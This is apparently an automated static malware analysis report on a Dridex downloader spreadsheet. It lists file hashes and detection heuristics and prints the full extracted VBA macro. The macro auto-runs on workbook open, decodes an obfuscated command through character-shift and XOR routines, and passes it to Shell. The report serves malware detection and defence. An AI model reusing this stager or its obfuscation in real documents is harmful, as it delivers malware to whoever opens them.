Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6351baffebf717fd…

MALICIOUS

Office (OOXML)

414.2 KB Created: 2020-02-18 14:40:56 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-03-01
MD5: 11810cab703f4ee5b075497adbae97f5 SHA-1: d369afd65eb70993f6ef50c67e6e6890842730c0 SHA-256: 6351baffebf717fd8d704333e35e3f4593266686db198d6a171cfa17b75c5d02
250 Risk Score

Heuristics 7

  • ClamAV: Xls.Downloader.DridexGreen09213-9890103-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.DridexGreen09213-9890103-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (Replace(REsaNsOfGJGmacNhWvDAxyuXlVTpZysOINMRxEcJpEdhqdYTfsuPkmV, "X", ""))
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
    Matched line in script
            For lonDataPtr = 1 To (Len(FF) / 2)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3703 bytes
SHA-256: 5bdf12100905643d785a34dafc891948fc26965899e45da7d9c3bcb2fab2c99c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
38 of 68 identifiers look randomly generated (e.g. 'xqqGMMmuEesCTYMdhPbTYmEUmvSNIDIlqdSMkmgu') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Dim xqqGMMmuEesCTYMdhPbTYmEUmvSNIDIlqdSMkmguCcaZhGhDNOHLCFQ As String
Dim LGVTmtZlWrHhLFUtviBRRgfIfNPVOwRjlMHGjnuAcrECauVTNVhdVIU As String
Dim REsaNsOfGJGmacNhWvDAxyuXlVTpZysOINMRxEcJpEdhqdYTfsuPkmV As String
Dim oJUpNtubIlMdMPRknotKNpiBIxzKBZydrMtHxOjkvyVQzUgEjIHaMbd As String
Dim ywShQtjuEHEHUqJHtaIjOUmXJlvatmYRPEvLfhTMLZmJPiLjvWOUDNO As String
Dim dKPtzTJBRimrlvxbMGRXKDdcwZMArYYiCqRBPJosCYUvdqvIxuCOHKZ As String
dKPtzTJBRimrlvxbMGRXKDdcwZMArYYiCqRBPJosCYUvdqvIxuCOHKZ = II("0202", (HH(HH("B@CTBCCCB>BACOCCCSCQ?QCCBOCC?@?RCEBFCECABEBBCPCTCQB>CRCQCPCABP?>C>BGB@C?B?BA?@?RDC?>EOCGETCOBEB@EGD?D>CDBDBGBBEABFC?CPBOCCEEDEEBCECTBDC@CBD?D@COCRDBCPEPBCBOC?EGDEDGBDC?BBEDD?D?B@CEEPB>BAETB>DEEQBABBCBCDCCCQ?>?TCACRCRCTC?CQCB?@?FCQCCBC?RCRC@CFCCC?BB?@DABPBABDCCCT?SEQCCBD?SDCCCC>EACSCGCECSBD?G?QEBCRBECQCQCRC?CDEDCPCQCE?F?CCFBDBBB@BA>F?T?RBEBCBE?QBACECSCDBAB@C?C?CC?QCACRCR?RB>B>CT?RCBCS?T>E>?CGCOCSCD?C?Q?DCCCQBD>FDBCECRB@?P?CDQCQCCBCCDCPCQCE?SEEBFCE?E?P>P?OESCEBE?TETC>COCECABD?>?TCACRCR?@DACOCCCSCQ?QE?B@B>CSCGC?C?BDCGCRCS?P?SD?CFCECQCSECBOERCFBCB>EPDAD@CBBBBPBDE?BOCACGBFCEECDCEDCCCRBBC>CDDAD>CFCTDDCGEGBEBFCAEPDCDPBBCABDEBDADAB>CCEGB@B?ERB@DCESB?BDCECABEBBCE?F?DCCCQBD>FDBCECRB@?P?CDQCQCCBCCDCPCQCE?SEEBFCE?E?P"))))
oJUpNtubIlMdMPRknotKNpiBIxzKBZydrMtHxOjkvyVQzUgEjIHaMbd = dKPtzTJBRimrlvxbMGRXKDdcwZMArYYiCqRBPJosCYUvdqvIxuCOHKZ
ywShQtjuEHEHUqJHtaIjOUmXJlvatmYRPEvLfhTMLZmJPiLjvWOUDNO = oJUpNtubIlMdMPRknotKNpiBIxzKBZydrMtHxOjkvyVQzUgEjIHaMbd
REsaNsOfGJGmacNhWvDAxyuXlVTpZysOINMRxEcJpEdhqdYTfsuPkmV = Replace(ywShQtjuEHEHUqJHtaIjOUmXJlvatmYRPEvLfhTMLZmJPiLjvWOUDNO, "MjurKQRftyvCzaizgGUDeotbfQPjoTiKwzcIUYtavFSQpgIpqOrWNsv", "X")
Shell (Replace(REsaNsOfGJGmacNhWvDAxyuXlVTpZysOINMRxEcJpEdhqdYTfsuPkmV, "X", ""))
End Sub
Public Function II(GG As String, FF As String) As String
        Dim lonDataPtr As Long
        Dim vbc As String
        Dim intXOrValue1 As Integer
        Dim intXOrValue2 As Integer
        For lonDataPtr = 1 To (Len(FF) / 2)
            intXOrValue1 = Val("&H" & (Mid$(FF, (2 * lonDataPtr) - 1, 2)))
            intXOrValue2 = Asc(Mid$(GG, ((lonDataPtr Mod Len(GG)) + 1), 1))
            vbc = vbc + Chr(intXOrValue1 Xor intXOrValue2)
        Next lonDataPtr
        II = vbc
    End Function
    Public Function HH(DE As String)
    Dim lll As Integer, llll As Integer
    lll = 7
    For llll = 1 To Len(DE)
        Mid(DE, llll, 1) = Chr(Asc(Mid(DE, llll, 1)) - lll)
    Next llll
    HH = DE
End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 23552 bytes
SHA-256: 7d7bc27cbb98a1e5a0bbfd68f7a644f5cb7ad40ff38bef086b954bdba2a64f52
Detection
ClamAV: No threats found
Obfuscation or payload: likely
84 of 163 identifiers look randomly generated (e.g. 'xqqGMMmuEesCTYMdhPbTYmEUmvSNIDIlqdSMkmgu') — consistent with name-mangling obfuscation.

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